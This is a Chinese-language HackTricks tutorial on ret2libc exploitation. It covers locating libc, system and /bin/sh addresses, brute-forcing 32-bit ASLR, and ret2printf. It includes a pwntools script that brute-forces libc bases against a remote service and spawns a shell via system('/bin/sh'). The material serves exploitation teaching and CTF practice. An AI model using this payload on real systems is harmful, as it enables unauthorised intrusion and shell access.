.. | ||
rop-leaking-libc-address | ||
README.md |
Ret2lib
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。
基本信息
Ret2Libc 的本质是将易受攻击程序的执行流重定向到共享库中的一个函数(例如,system、execve、strcpy),而不是在栈上执行攻击者提供的 shellcode。攻击者构造一个有效载荷,修改栈上的返回地址以指向所需的库函数,同时确保根据调用约定正确设置任何必要的参数。
示例步骤(简化)
- 获取要调用的函数的地址(例如 system)和要调用的命令(例如 /bin/sh)
- 生成一个 ROP 链,以将第一个参数指向命令字符串,并将执行流传递给该函数
查找地址
- 假设使用的
libc
是当前机器上的,可以通过以下方式找到它在内存中的加载位置:
{% code overflow="wrap" %}
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
{% endcode %}
如果你想检查ASLR是否在改变libc的地址,你可以这样做:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- 知道使用的libc后,也可以通过以下方式找到
system
函数的偏移:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- 知道使用的libc后,也可以通过以下方式找到字符串
/bin/sh
函数的偏移:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
使用 gdb-peda / GEF
知道使用的 libc 后,也可以使用 Peda 或 GEF 获取 system 函数、exit 函数和字符串 /bin/sh
的地址:
p system
p exit
find "/bin/sh"
使用 /proc/<PID>/maps
如果进程在每次与其交互时都在创建子进程(网络服务器),请尝试读取该文件(可能需要以root身份运行)。
在这里你可以找到libc在进程中加载的确切位置以及每个子进程将要加载的位置。
在这种情况下,它加载在0xb75dc000(这将是libc的基地址)
未知的libc
可能你不知道二进制文件加载的libc(因为它可能位于你没有访问权限的服务器上)。在这种情况下,你可以利用漏洞泄露一些地址并找出正在使用的libc库:
{% content-ref url="rop-leaking-libc-address/" %} rop-leaking-libc-address {% endcontent-ref %}
你可以在这里找到一个pwntools模板:
{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
绕过32位的ASLR
这些暴力攻击仅对32位系统有用。
- 如果利用是本地的,你可以尝试暴力破解libc的基地址(对32位系统有用):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- 如果攻击远程服务器,您可以尝试 暴力破解
libc
函数usleep
的地址,传递参数 10(例如)。如果在某个时刻 服务器响应多了 10 秒,您找到了这个函数的地址。
One Gadget
{% content-ref url="../../one-gadget.md" %} one-gadget.md {% endcontent-ref %}
x86 Ret2lib 代码示例
在这个示例中,ASLR 暴力破解集成在代码中,易受攻击的二进制文件位于远程服务器上:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib 代码示例
查看示例来自:
{% content-ref url="../rop-return-oriented-programing.md" %} rop-return-oriented-programing.md {% endcontent-ref %}
Ret-into-printf (或 puts)
这允许通过调用 printf
/puts
并将一些特定数据作为参数来泄露进程中的信息。
Ret2printf
这基本上意味着滥用Ret2lib 将其转变为 printf
格式字符串漏洞,通过使用 ret2lib
调用 printf 以利用它(听起来没用但可能):
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
其他示例和参考
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib,给出 libc 中一个函数的地址泄露,使用一个 gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到 canary 的字节 0x00,然后调用 puts 并泄露它。使用 canary 创建一个 ROP gadget 来调用 puts 以泄露 GOT 中 puts 的地址,然后调用
system('/bin/sh')
的 ROP gadget - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 位,启用 ASLR,没有 canary,主函数中的堆栈溢出来自子函数。ROP gadget 调用 puts 以泄露 GOT 中 puts 的地址,然后调用一个 gadget。
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 位,没有 pie,没有 canary,没有 relro,nx。使用 write 函数泄露 write(libc)的地址并调用一个 gadget。
{% hint style="success" %}
学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术: HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 在 Twitter 🐦 @hacktricks_live** 上关注我们。**
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。